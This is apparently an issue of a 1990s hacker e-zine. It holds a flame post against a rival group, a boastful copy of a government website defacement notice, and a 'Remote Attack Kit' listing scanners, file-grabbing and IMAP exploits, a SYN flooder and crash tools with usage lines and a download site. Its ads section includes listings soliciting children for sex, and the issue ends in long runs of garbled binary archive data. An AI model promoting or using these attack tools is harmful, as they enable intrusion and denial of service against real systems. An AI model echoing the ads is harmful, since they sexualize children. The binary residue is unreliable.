is neither impressive nor is it even hacking. It's a lame excuse for hacking. Darkfool claims many things that he doesn't know. For instance, take pascal programming. He claims to know it, but when asked a single question on it by, Scorpion(MadSeason), he cannot answer. Here is a little something: [13:53] How many parameters do Cluster object constructors take in pascal, DF? [13:53] i have no idea scorpion [13:54] I thought you knew Pascal [13:54] i am learning it at college There is a big difference between knowing and learning. I guess Darkfool doesn't realize that. It's all a part of trying to sound and seem "elite". Which Darkfool is far from being. Seems as thought Darkfool and the rest of his S.I.N. pals are compying MadSeason and myself, and questioning peoples abilities. It's funny though, when MadSeason and I got to #sin questioning them, we get kicked for making them look stupid. And when they as us something, and it doesn't go quite as they planned it. Look what they do... [14:14] *** Now talking in #sin [14:15] hey [14:15] how do i kill all jobs running on a shell ? <[GUNNAR]> Well hello there! [14:15] hey <[GUNNAR]> kill -9 PID <[GUNNAR]> If you really wanna kill it. <[GUNNAR]> Boo Hoo. <[GUNNAR]> Damn, that one didn't go well for you did it? <[GUNNAR]> BTW, use the ps command to get the PID. <[GUNNAR]> la la la la... [14:17] *** Sinning sets mode: +b *!*@*.wco.com [14:17] *** You were kicked by Fa|lur3 (banned) In short, Darkfool, S.I.N. and the rest like him are really just wannabes trying to sound big and bad. Nothing wrong with groups or people who actually hack. But, when you have a group like S.I.N. who's members claim more than they know, it is truely sad. I myself and no great hacker(I'm not a hack. Plain and simple.) nor am I some s00per programmer. But the thing is, I do not claim more than I actually know. This is obviously not how Darkfool thinks of things. He wants to be known as a s00per hacker, which he is not. I'm writing this so you(The Readers) don't buy into this bullshit and be misled by people like Darkfool and the group he is in S.I.N.! They are truely sad people. What a shame I have brought out the truth! I think more is somewhere on http://www.ilf.net/teknopia/ 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. "Welcome to the [D]epartment of [O]wned [E]nergy" : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The http://www.doe.ca (Canadian Dept. of Energy) was changed last weekend...

Welcome To The [D]epartment of [O]wned [E]nergy

You could define this as an act of aggression, or you could define it as us, the hackers (or crackers), just adivising you to try and make it more difficult for us, at least employ consultants etc. who have a CLUE. because one day, in the not so distant future, the internet equivalent of Pearl Harbour will occur, and we will only be around to say "We told you so", until that day, we will keep reminding you, get some security, its better for you, its better for us, its better for everyone.

In this case, even though your system runs HP-UX, we advise you still take the time to look into all the exploits that are available for this operating system, and then get over to www.cert.org to find some advisories.

This attack was brought to you in association with 0range Amusements.

Greets to so1o, helix, xFli, modeX, c0d, xrx, zer0x, organik, phractal chaos and all the usual suspects.

In the meantime, maybe you would like to visit...

The CrackHouse

Micro$oft

The CodeZero

We 0wN j00r EnErGy!@# wE 0wN j00R LiGhTbUlBz!@#~

컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ =/-/=/-/=/-/=/-/=/-/=/-/ so1o of The CodeZero presents. \-\=\-\=\-\=\-\=\-\=\-\= -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ =/-/=/-/=/-/=/-/=/-/=/-/ The CodeZero \-\=\-\=\-\=\-\=\-\=\-\= =/-/=/-/=/-/=/-/=/-/=/-/ Remote Attack Kit. \-\=\-\=\-\=\-\=\-\=\-\= =/-/=/-/=/-/=/-/=/-/=/-/ [CRAK] \-\=\-\=\-\=\-\=\-\=\-\= =/-/=/-/=/-/=/-/=/-/=/-/ Version 1.666 \-\=\-\=\-\=\-\=\-\=\-\= -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ =/-/=/-/=/-/=/-/=/-/=/-/ .:. -=10/07/97=- .:. \-\=\-\=\-\=\-\=\-\=\-\= -/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\ 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� New, improved, here it is... =============================================================================== The Contents Of The Kit : =============================================================================== dnsscan : Mass DNS query program, gets lists of systems in entire countries, or all the systems on a network, like *.microsoft.com. smscan : Sendmail version scanner, very useful. phpscan : Scans hosts from a file and outputs a list of php vunerable sites. phpget : Gets files from php vunerable servers. phfscan : Scans hosts from a file and outputs a list of php vunerable sites. ident-scan: Scans all daemons running on ports and determines cool stuff. imap : Exploits imap bug if port 143 is open. tcpprobe : Very simple portscanner. fingah : Uses an apache hole to finger systems if port 79 isnt open. synk5 : The SYN flooder, basically kicks the shit out of systems. octopus : Octopus with UltiMods (ultima of CodeZero), crashes systems. winuke : This version allows you to select a port, I advise 139 or 113. =============================================================================== Usages : =============================================================================== Use this command to unzip the crak.tar... % tar -xvf crak.tar then it will be copied into /crak, depending on the working directory.. DNSscan : --------- Usage: dnscan [-file ] [-domain ] [-sub ] -file Usages as a list of subdomains and servers to scan. -domain Lists all servers in a first level domain like com or net. -subdomain Lists all servers in a domain. The -domain mode will first create a file called 'domain.' with a list of all subdomains and their name servers, and then use that file in the -file mode. The input file needs to have the following format: [] To list all servers in Japan, do "dnscan -domain jp" To list all servers in the netcom domain, do "dnscan -sub netcom.com" SMscan : smscan PHPscan : phpscan PHPget : phpget PHFscan : phfscan Ident-Scan : ident-scan [low port] [high port] TCPprobe : tcpprobe Fingah : fingah Synk5 : synk5 Octopus : octopus [port] (default port is 25) Winnuke : winnuke [port] (default port is 139) =============================================================================== Where To Get CRAK.tar : http://www.codez.com =============================================================================== It can be unzipped with WinZip if you are in W1nd0ze too.. :) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� --------------------------------------+--------------------------------------- | YOUR SPECIAL AD | LET'S BE FREE | COULD BE RIGHT HERE #@! | Gay White Male 38, 5'11" looking | for men, 12 - 32 clean, fit, and SEND ELECTRONIC MAIL TO: | hairy. Discreet Encounters. ADZ@CODEZ.COM | Call Anytime : (816)781-8009 | (Ask for Tommy) | --------------------------------------+--------------------------------------- | ARE YOU 11 OR 12 ??? | FREE FONESEX! CALL ME NOW!@ | Looking for men 11 - 12 for adult | Yeah huney, you know you want me, video satisfaction. I am 35 into | I'll treat you just right, I'm Professional wrestling. | waiting for your call today! Let's talk soon : (816)453-8722 | CALL ME NOW!@# : (847)546-9154 | (Ask for Kim) --------------------------------------+--------------------------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� _ /| k0dek4t sez... \'o O' =(_o_)= "EyEm HuNGaRy FoR CoDeZ, U nOt CaTf00d!!#@" ---------------------------------- �--� HTTP://WWW.CODEZ.COM �--� ---------------------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Remember, McDonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� crh004.zip100644 1751 12 56677 6403626662 10276 0ustar wheelPK <}�"e萍X Soltool.gz�t#�3soltool�\�s�6�們+6Jr�Y뽨G�8�4M異w�8;7뮷�&A 5E曜겼>�褪H �@=絨sgMb�X�b?j 猝－K�o]Z�좕몫瑄�.쇈> A��E �\2뉱淵eh[~!"�|Bf�긕�Y∂�m� 쯸�'㎞K�:꽬a훴a�왏��3�"L�"헍\�冕낶꽱 X�"�5 B.|ln꿟��<젓,引貰�輿樽p�놠fX`G��5븊?D��P}n�욎쓭q�벂稱j훯a뒑y걟�8쫖&ㅐ궇�+쎩d�8XG�봂 뻬�컬G�5}� �꽭둋z_븎W�> oah苕_P� o꾬r뉧6깗lhq?꾬y���0f規7``]3pc_�℃쯐�듁�썞럛t�A_羔㎼�3x�퍱푡�$�M뒫o뿈/컉켻 �f9(慾H>�쭮탼Q�1 >,D�끣fs�拐嘯Y 指� 쐭�R��fk o�겒�8꿉�패�0�$bS4aF��y|,S�c룶l붷낵z�C8�#%��쑞�썓s�뫆V`彼P튲^�V�穫i3�0_셿(띶%x�B_�~gdE춀u=��8�뒉－�뛆좝괃 撫�Q췟팶 �1睾?�5� K!i�rz퀯�j뀂!3A屑�BB좽u_�맑 Bs�ℓ@룛칊柔-�X��}茗Z�eE뗉U놢頑�#[�3孕 험0J]zW9/ヰ�.}w멋�똸S��&:Yax�d段��^쐮�=`�Uj㎀�G �{Ub,F��0YqN�%�]횪��G^�W끬e&�[�zsE�:�-b登%�㎂뙬�dz4삟nd暢�; 쿾hwe첽�쓠�,R�zTXOT륖뙳�)魃蔥";m��p˙傳7Q줶뗡봓(봴mB�,gゃ;�섬AH쁈� "뱑u{P&s휩껊졦냌T빤� �j;ZN�Y�w좖 {m덴Hkk^wu�g(3�A[＼�^�t楨7걾�:쬊�9nq�0 �6 Ck�4�Z&b��� ��5�\쮣�wF暴궷T�*�싆j9�냦旅’mУ�"/菁&■�5'믒C'쾱=뇟k삂ㅄ芷&b]�X뚀��1惻�셆�6Ⅲ)Y斧뙂s公s�-썚=a_뺋U애�뷖[�믰��w갤庄鐥6�)�W퇅<�\3�넽죐륡B떋춢3-��T薦iV�?�>�O뙄�돻햼1n8Ca�#[Ni슩쬊L �9ビ�1�l1턖T�#R퇙0쭛귇�XiP삞갬쫂li각RP뼂Js봐��<�Xii�]]2宴 "G�쓯I� NN�)栗끹묥飄�z줹6n�S濾8r삸븬쫥J5�x/�u秋+8=;�Py�}���쪘聲9�:잌走B�1��#�e�>j朞셥c눢��柒q晸男停푐Ck�[�ю拗謀唎굈w는鄲�o��;9>>=:Ｂ字^脯蔥7쏴'뮇�굘溜�V{팕�{痔 Y곜 驚l嘯/pX찠뤋얃q퍂>績�:�v샄�悳腸�>~륀tGOW 굾큩曠뙦떡 �w0者�프�K脛bu곉芳�랊�쁽甕I,rГWLw��%폹�� 贖VRnI�}{R�b샾F뉻EKAw텚tW 맓�jq.쮑^릌��&�Ha}悤Q�Zp�^� z칐끖^칅둲x�Oy 具j��,쏄Q풂qzJ�m줓T�Wx}吸Ba�쑰麵��seX.{렟E�r��r믍|E{#븺p慾伽9v�:�y逕G8�0 齊V컞z� 휺 �$��8q뜶�@�V$xM�}Q뾘T칛XK놯��\w�8굣d띔컳룐M뻇tKP�X탒^AM썏M}�u�굪�혙쏎Z��읱e읡<<�@�뒓�j:0퍟NP�I3t칤㉲+ _\M�"7%졡I� SGj�/&뮚y,쮆톅�{<�M:Y*ca닂��7냤�퓮q�Lf쎨ks9m&�-Eg%T�*�-Nc:돥쬋�a甬散 �/�<� �%.2１됉,映�.YRr룜�(y껴2뫁"M1Y�P짩fX0읢묳멷毬�\뼟�[&{拿y`�&{`�&쎨d�n$3�z}>뱊2c넜i뻮Y�뇣L&蒼�O턒촍eJ쫒"�왰N1�{�벃J:뱿�eT뼽��N�4`廟�+뛚悠혮B몫?Z�M�]�!�_� E[�E�qq�亶룇-;Dzzb�c��쨟��K쒖 �K��Q�}�>m읲褘'뀣蓚dgJ묡p턱�=UG＝dk몯�커�芷쓄�f<Ｃ_z勸H��$�폼�뼠<綏I밿�v"aeWDY�$g�u�"퓲�먨|�8�"]Q�=b쳪�^�빀J 쨾J�*�{㈗T�쁧\d*��LT�5됈픆o룑_zw쪸뗻異t�:>懸;訖�#�?嬅{*�!� 薑휏O牒)#�홑q��3�u둍쾵뗦厚w淨��y�g럕�_期�뜟@��2�+혁줔零귩r]쩘�덑D�@켊쨪怒.R9쵲筮*Md탫l�t�<遂挑��OU쳠�r�U1GJo�!啓췣쥺�l8�N2�.Q)뮉�(뒪�序�&y�;�y1!p�U�9�l튅*4�I\0곆�o!Lj{a烈h=�렞p훜笛귛ン眸uC�뎛 ��[Ca.�F'�}&O�)C"후:넆�+㎍黨�S]q륌댧鍔尿쮑厘炙d+b0dC�*箝�'�)� 왓eK(箚렠넿 t匿춨푅6듞뙣��實刷슩"묷��늌쫕d봻짟#�$mb�\�1��.j �a*��첆GK�(�t]潾Vd↖꺣tㅼ�6밇�쾘)꿮<뺕꼯T�]l�br둀V�낒Ek룝'9췬�xA띗5�_�9墓�2?뛏�D勒H;뮑꾈>ENZ븊��>Ujlb�;0��.m듊ぶOx5�E쾐S�Fi�쇻2뚳탚Y�t뛯�j哀� �d;<豈h#�2殊M6w- �춋쭝뢠�+K�섚�흎 vM˝즴k 븙4�\챐�D+뗒�Qr%�뵽*휭ckNw�+렭孃ki틤C�꽿1�2#�縕C宋_�&=埼꽞> {c#琠76뻪侃걬녭i腺�|��<출zV?Tr첄�n1i<b넦3t$�듉Q�yo�쁽�뚛�;�쏾閨張"R�'�1�V�'3졵밶�뢣o素럫T윺ヘ��|쳰넙禮y넠}豈엋뉼}�Y���돇���偉뇾�걓휓Ju�R^B��왫� G}�r�O뉬�5�_パ�몒뷞맻W(y� V 쪘pZjn顚똘廬秩낑�O뵹깆씇y뫋쨞� �(]�읡�봩sC�r#쓣��Bj�P�씃ZEg뗉G束z뉟�[RG刎퐯z[ �靴]5씄락-爆�8@ n좱PKh�#4[觸�N旣 CRH004.TXT�[w蕁茶웧��9;��~�ChC��41夔넑t-춎5꾑W+�1-�t�`�3�+[R�_끲s췪AZ鵲筐�<3쿩�熙7퐊�]욐덋P덺��S��]a�퍒2*N ny휵�쉖p�QE�)멽�)�H渦塢;{독g�쑢뀓棒�� �$�tDWk�1ol빭s��g� �Z풁]灸�岸:�뇖�}5ot쮴 cSnχp0,.騰쏷%쇁뺼�g�쑁Q�R@멺됗��挑t�_X��>茅聾읆qA�Ef廓UZ� mk쥑�{y욝0 컁쬳�S뎊{進퍤��3WW�緊탿b줔묮JLu뽤A딿��쿖�W8唆�:김憔��H�,�쟶몖�n<燔�;�u懶6w^��b�犀c��큾崩�7릜j⒨拓揀씵策e퓌茶삓o�m�퐁u1�m�7�7럪檜Ryc]-輳R艦Ry/�.�+�9G�=aoYX� 腋� ��3値�]�&:힙4�q�촚뻨켕끮�EC#jA�켿:럗삖싕歷籃�b뫶� �땿u꺱};N譽o�錄립잕dj껆쉢戰�@�-멋핒�d洵죱A�곀쇒�ツ�c잮�@�쓜탢�kz1�/섫\y롺@�x~춂븘�0풄q�]�j�,J횗덟~盲v쇰]m콝듂z慄(Py�돓t봹�5�|륰$���#O�戶 U 3뼋8�"U풉R�8}��饅:A'��?땹cH ��:%댜ip *m�"�.^턒^뜁죳�-켖첖2돨� B=[�쒵T8P극�x主뉰�^>�^8ヤ'務�_進�B�C�2V:3� ?냧�'F�0싥쳥i�벉탔ッ맙鋏:zv홢&/77�3si8뚥쓣Sv&#~\�~G^,랉舷꿍룺+�/�+)�4�R럃�D&怨gcs띮�yb?뜎h耳�놽扈8�퉘驃뵾업콜↔%jr=w�?焌컮r죞H�=|몣m콗}�I�5�[샒 W�.졠-�뀣j��쎧寂�뇮X"�%~쐞뎯�뫓맴d�솏뷋��p-V'X�+KMb�R엾~앲牀0쀙�킂D_#��H&�{션鄙80Y腹뉣遜�'�*Qw~攫$s롭�x+6;;捨,M嬌k�몞}+�뱣�� 7뷈_��탇픧i뽛붥�#쨜쥥��{�③� 誇0 S셂T��몆엵N5 c >價玲} 1��3ba"�0�[M��0w쒑T�:2"P'*�c4憚톙�J`�'�W�S쑈 <�GU~�7熉�삹��7�w퉫 Cη紡祀쵑�$控　<�즤�`슑츦�74��&｛덿�"�FJ&1SWTn$�I<뱕�뤍}k�$�7 �協n街3l~,�P뭐0꽘P="�둾9 ＠�[x껂꾳=PV뷇채塘;뮂�\ty%묃@햤d끣킟*�,�)�ぅ��/&C솆仇�\J�2쫷O뚉�21Lk收輧�Z�j�Ix1짩�↘ k##珂욝H扮���곹LS 훑b�, #�H隆-�X&)���셱S�� 볋蓍�b�'�쟩㏘X��g>-븃�Q�&�뜍틺diZ痲핽x쵚��광&53�±�吐�A� _럆룷+究杖I�&fOC�젗묇TET쵪{o"圭U�{�];츍툨졷곦뭠$딬Sx-쓞M�/q�릫8-�3s� C�n^�p粗_成a�E쏣Si꼺&D4L�1뀸紡혚�0�2cf긝CE��8�%Dx4�a�끩羚�N�g�V q+C힎놘�5��(3�뽝븑i�YD쒎귴캺貊��%X9�Q�'r꽇쪍콓쁮�n^�뾞�#�4�)캙G�/e뉸SP턽�쯆�#1)� ,A%`훔� bl꾾�4ub@���$u뒍25놃뵉�rI(뱧����bxR9d-�짶잓쯾꼎㉢댹C쟲I� ),H�6斟&-J嵋0~�@�`落�C�+P_ �4뻦�>勇m*탔6�6=팭�p혖d��"윟O뇪櫂"op븾얏魅湮Q�^h��쥫h1RA삆(왓R.k틄=�?8J�^ 延6�@6샓MS훷!�$L-�餠)�뽰r�.!O골 82헖Q짅seB%f�",��씫 �Z1)`(36똕"K칍4!K�,찆�싪�H2/Ŋ��a6�>믖�泄쥾 닲�h��퀪 �쨃낄됗J턘�g몇o�@e$k33REI8p���附UＱp몱]濂욮�홈yr,�230$�젚�링wl 쇡М��P앳}낸寨�5럪E�i奬�0蒔�1�C家�m�m�Hr�'宦�_�늍�쐂컦�뽿X��4춌毛빀絡��VJ퉅'g.x�(�:꽕9k�(헆Vc 解윴�r�$몀엯#*≪g&��n�bh* !97�C<�8e,꾅뽙�봞��팯UU쟭|�=�렸즂 d巧냩�"�l �깦G� q핚�"1뭊Fj�랷�W5,W @랍\㎁G걶8컽浣�빋�7�굮��~NI�'좲ze2끔�vQF/��0$G:vP프햑4N+hH�멹I쏥뾄p#@q�꺭qDv�휪@꺿필w堯�u��7��轟C쿦69Y4]F7N={�|%됻b묿�,킱�fa� � 딺���*�/*뇗� +컇い�(얄�)u� �)*Siwu`�똕b퉑i攣�p<[�옗廟 伸θJs,^x 톘rZ� *뫔�Z9�(�|.엯1��=㎌�곓o#�[깟烏��斌닺�]岸mE?3)}�>/킡M+쓮멦웟7X밮^핎P뫁-@핚A�娘$씢-P}�앣��6�|帛�z)�[랄�롻;�?땱蒻앂쎧~W-폾�[��{�円쨖�_��쓻]�rc쮄�夏1鏤�|癰)��5�랚�6~M�Y�~�뛍뷀�-믙�\Ef廚� 5?B��P!K.陵�[#m왜�F&dブ"쀱p23�W�o렬2 � g턈l�^囹뤈괁�=7F댼彌?x誨뮷댘x&-PB욶O�)E�E�_�,졲3g묇S�)�5됙뱜拉쥯�4L�k=퉆G��y更aa�[�@$�^墮귽L왫.캶�^�彈幢$봃뻜yH냠ノ疾�Y먜G .O_伍X돡x淙1m5b}앒f�` /잺qg],遡禧☜�)^j뤕�Q9#C]a��"�+k뇗F�.=춗tk[�$淘縫}땟5솸jg긮�� I�g敎�q穉�/띍�뀱yr쥾[�`Xm켎쫝/,뙰*�]*W.�l콰n=쨥�O弓�z�uy�$���ea�?�3혐+qJ윇)X�-꾼9�3xf�?d��+2베�>滋퐸Ч*즗�\뢖dE�|o뤧\O뷺]떺/흾/� q3읂歪 |�[8 u3i�o罰z뽮C��5艸먰vt$⑩,0B犀礎JN먰죙M=�*]鷹_�jPo�롛vR�z履跌쏘�;wH�'�'똉쮷쭨� Vt#|�쇹N�+�l|�� \2v뻏�*�B�>N� �#�=┰(앃�@��쎵줧>꽚琢�S놟<／�"�WPA��샪�-�쌾똹u�됦"3욞돦x루GE쿆T얶T�H楓?殘&ur궟憮o탭�봵먫(횩綬v럅8굮&TK퓟쭇)琅�a�C.0m읭�i2�F#�SD戶b�푑樂睍퓶듁N븶Ψ&�d얫럧햽+�+)}V�/T0饌；�nc�#�V<柑;" �_TV筬덓儼�7뭾�VW�^)g�6썬답�f눥>y~>�궷�5|燧�j똊�tz張7~~�7�<�솆g,q겇}� �*9갛��9Q�€t4>湍b_漆g�꺡Nv쀁�賃륯�L�[�큚뗮|折 �틄z杯팿n� 輜獵^i g씖悛�L3�@뉖6난言\k3�sv厥�J#��핅�n拘e��a�m$締�/��玲/쏑{寡~�~�졨�Qag�t쫔- n얙�u즘�2沂�C{�!맮��뙉N�3V}&�Z)�/�Y 軀M0s�뒯�,6��럀쾐4說���A³칪��\껉�뛒}p#Tg끫샨옸&p'置�궑s�z志4� (佈첞SIℓ�.�)j梏l뜤觀[�[妃徨B3읍h빰燾닻�=L��!]숷&턩쫒�$ z&�,÷퀄醋쒄쥁V�줇s썂鮎딿x좃ED뛵P#퀦빥~�p}}�`쯖t?��np念逑�E�5�쟧)�o�곖ⅶa뭮_z쌉쮟f섻렑�:칻粥X�?�|�Z+和<�\8�p�婁_A樂쒆�+n次뻜�y�3귿��U3Ee梁k鹽�/콪줄佳 Vh뚱)�w�늎s햢쇅?3쿯푝�74��2�s�~L� w쀒|v��I뾁�jU�2�b�7킣��+_s�Y얋lL�|쌥v햌n뿄�Wq@방釀�쇯"慷v幌R� 샐%(XvkMX斧쁧電Jt9.mu�왭Pe픪몵�#%<셯굟s8@UM��4��-*퇱2�'첍�(晸g藍�랁@仙0췛�戚>섫y~凄叔엺쬖첃�R=��}�(C휀퉽�옇季� �i 픢月_a�/a�;톾+k눣�[�V 땩�[結��0:JCg(�Y眸7+T�� �>�7u: ah8粮)앪㉿(�2>씺�:邸V�翹딇>歷t8긏 흅b申忘�뢁됖X햷��켍x?뛑뫽쩮7�(翠-��-얶*4�.MC}mBGc��>뢦tv�}帖査���3샽�tB�옚]븃쌸뻝�D吃�)��(擇}쭲�|쾥:虹, 쓊��eL>�D�hl�>r>/�쏒&Kkf���/틐�갨�!칺꼬Y<" 롾T�%施��s0�)a6벪2鸞�J/�[x籌/2 쩩㎯漂V�/�{V[*�[v�뀒 쭷 p/륺몎d윗믅0僻껎�"X��13븥下Z愾얖�\�s<c�3��=�1� >煤�돰�Y:n�O롭預큿귞�뻄쟍폸:둯8��=뵂g�W��됬뺲]'行쓏=쥗푤Px걼?d*�_�"-줏좨�|꿝� ��W�뎖O�?枓M렌��1씌�1y=.v�nm�o둃췁쀢�壯캕춳輸碌>앯雍�7擘b{gＩl�w��I~�됡霞�"�AЖ�1,�*+웯�S�1�t줾S{鯨^A�驍�}1紂욐�퓽亦츳�a#궦�봑닀�I:�:B�Fd4退閱�h}�q��@��]��6�눷諾뵼CIG(�0鸞릤�뎓&湳믈蔣�t�0큙[勇볹킩?��$: �^�$)��옿퉙軋拳*�뇫誌"m�@製�-���"e;렰�@$by�점홿��'6?托1륣휤퐑%+ 쁦諦撤�=캜쟆@p(V s뒶�Y너�겤 ���{� ME;!핼귙뽨B4큠6 ia��,�&돜륬B꼤q.엺 �H莢�/굣촲|科z� 걋빿홊�,1Ｉ W5녫�\秊�0� 〓v꽼5GC쬝r8/a;h�1L�Sc��魚X�1쵘y0%뷄됴Q9t�S00兼빑��q�G飭u<�1롐�E<��꺵왛졵=�%8�7%bt8�뻮k�듒}뤓픅'pqr9i홷� {넠% W�裝 봉LM怜9�� a��I�$�됏顥�7���륲?抛� a.휯;�쁲0l f>밿3냛梭걇곙�p,Vh�?=낔쭇�뉮~{QP�`㏁� 職)N�4諪<跆�=쑳Wq�的x뒡�c흜6쟯c�렔S�3�뗈�떂죫�y衍1��y츆둙K�)�?B���>/좖�0鸚궠譯�-�$��1=/9(梧屛R1RE뀋?�_�` V透V딫� 횓B칝<�C ^^\X웅iWt럮壕��!듓,;�]1b9�*Im뿄側eCwg�셔�;혐渾�A왓��+~tqT�l�앾뇲t�T�#?�z驀꽴�#�3l�졜�랑x�a=늗�� ㅀS�[Ey,示�$�M)�E~鏑,<귥�V�� 쩨쿆h곹W_痴-*<9<�@�3�H �씪�.닙R�=�]趺껶�뢲즓0:쀩졶卵�<朴컀@�6馭砦e誰\컊�L�???G��&쁝1됑!텬彰ｘ:乎H�꼦壟��r좫\.g|�-�뚶k<ま혏▧!쑊�#n똯{g'�K住�7벇1�s�G�z^�-b언x)忙�=熒領j�~��siQ뤸�촢땡*査옑^윙m쥗?m�O*찙`r#�0줕�!냒箭뭙H*�`�-�gb6땀�~쌆�텕毒v퇊X� �47)뭞�4倆­�si�}w�&#湞�{Z剛�b�+R: 볅8,;�|3춆푖캡3� 릯/겗z夾h궵웵x轅x!큧+償�PI��#톉�4]jh쌧;숱�-0k%l줰숙}DU첲簞說�_z<�h팒厠�wc똩슑�>!s賣D쩇3憐C냼H퍠n볚_뙜뭁� ∠졂t|迫?日-7 w됀��CxL싞 竹O쥜쁪�Y.�곆�탂킩뗿~궋Z4]���b�RM�� S�Z*만c_W5쪟욋b��7�걃MQ붛c��+�쇇�@�.�:뇇졵Ki늻�3!t�L�)x2둻A�]죆�;怡^챂컵�+⒴nl뮢뤝gv�遺 -묪iP�w�l3쏉�(&�\某첺사4\걀r�~結혧8뮓:l*0斬Rr",�Zц醵�죭쐃;�~�O�}�1G |?�쪆둞d島��~E뫓 �{�?Q�+(�㎊줋햓�_V�!e`3A Q�$鵡칁쾅� �쁰��긂淚��r$퇜6�s�r�쏯�쫆M期� 7�둽窺xT�@�p�#펀�뛁.꺣�r鏞,��)�P��켞wJ툺t�젟E�L�핛P�궑K�Ajs�$�s�)�韆�D뇻`�꿢P;�g�4GI2Ah瑢涵뛏 뒻履�. �( 퇽gS뜺阡/눢뢸 �:���y�FTwB��瑚a≒多��1슌�ル狎�_y�`@뼆즼3j�k鯖/띋a긣d}�"�`Z悟��v搜�n 뫫�U틋(�C뷗괿�&싻Sc8B>牘(뚋u~5f�쟢k&}�!J�"抒�` d�黃^�뵱(8+|�#탴�S퐆�!g�을�`X呂 �#뢶;�j8R덫R5�7�zgㅶ�(늫 ╉��0+S�{�*4&��3 k�p@ G�d� z<숎흧�`랂h�'뉹xO�g큱쁧� �)�*쥁?D캑%D됫�p⒞�룲뿃g�4}M쯸�Z�S*{{旦c뒂]�k6`�=姿.P 作�bm�[�.2�뽹I-召G8�탥泌�0덱 혷d킫킘� 8'$�쥅$닥�;�D�;려tf��^�臍닖�#'|@얗道�젔.�A��翔 깲�뙁LjN�i�=q7�6�\뼽�S뵱�d�곑몂.a뉤/쀄 {)��퐰/�$L!7p패�5B�콲圓겐J휆��a랿�_뾁K�i�PRo~雋宬o�~�鼎팪꼩껝I풎zeＯ��`쥕*_�뮨���_.띟얫W'4&[�떛V괈W녊9�3쮿用,�엍_륟뤭\�%꼭Oe/잖�깒,� �H롍?�p4ww��~玧벣��^�XMl嗜w�뾫影�|"j벀뻘*�l%c1s슔oF퉱-�?�備e餃o�)a'뮳Mx[� 摘諍��9鞨썽u��g왕�v틃c掩be充밻酢생)鞨瘀�#믕�l@�iM\其~�b訟W맭o�W落�꼻�윏{f暝7�귪.뽆-8�o癒WM%ャ��[�L슨찊j��T3:��%틬晤�,�땕쩪쯣w�y棅Nさ뒧�싒�^[.NG�vI�:t|�n%롐�*델��594�7�|~b�w촪�냶}쵕;횣;s� 介}:�Z쵿o짱羚芻�h|A=� (s⒂tp�tVT쌀T�W롍�N�?m暢KxS�^놉灼�MS元,{/峴ν�듂�15neお�@�윮3K-3枾튰뙻RS�涉ft�措m뗒M撻f뗆측쾰�=꺚�a �q�7�떧ふ�쯼式[8:�[A�X뫮&렕홁5젫'査c沌%G �B펡&c槻/`�'0UUB椿�7�寵�ニ�2TDUX8딝�A盟��꿫|�&��L1�`ZXA@RUm��hY넙�1긽�70+4��~o뚄羚� t볞"�*뒧+網�|�?8麗5퇿:*z탨T� z�꼄|j7�銶#+sNMo�R晞wl何��탂킲�]`d�S/m�3�兆q륦W栽VqW9q&�\�{aGM쯣n�음쟳뢵�l邈g쉮8�p.�AR�X⑶붸잰p&�)>Z&Fq�07�뾂闡뒶諾TZ備� �:팡븯bU0�쀗껮/Yw雁閒돈+L큤5�hEE�h�%�wK뛔TY I줞 =LtJ4�]퍴�R寫耕큥\�끨P國7�mF픑fS�끿1쎥꾙葛H#�tu�W�2=?D�d�]톫dx��뜢�`L�,낈E쫦�X0g�3 g�疹�M�軫쎮��F뾗D 퍯뒱+�\}TNa�쫕�d앑떂F �졘RyXH목�dE3�>븼걓肥�6�#�쒶W�\QZ銹`Bp泫¶{�M��n귦�. 춈���T��| si�_ t�6<쎋w�J�w뷒m7=확�9S蝕얺�;vYs*#bW��ㅫc��뚿$3� b픞i`�sU8審�p��캵�z� M 셇]껞끶�Fe옸�{쟴먊�L`\8P'봯�p@款諡빏똭v斐Q멆�&`퐽�T8꼐K\끤0:86v{ �2［줆�0憐#5tAQ7]�앿� �냰븑gO걙�滸� 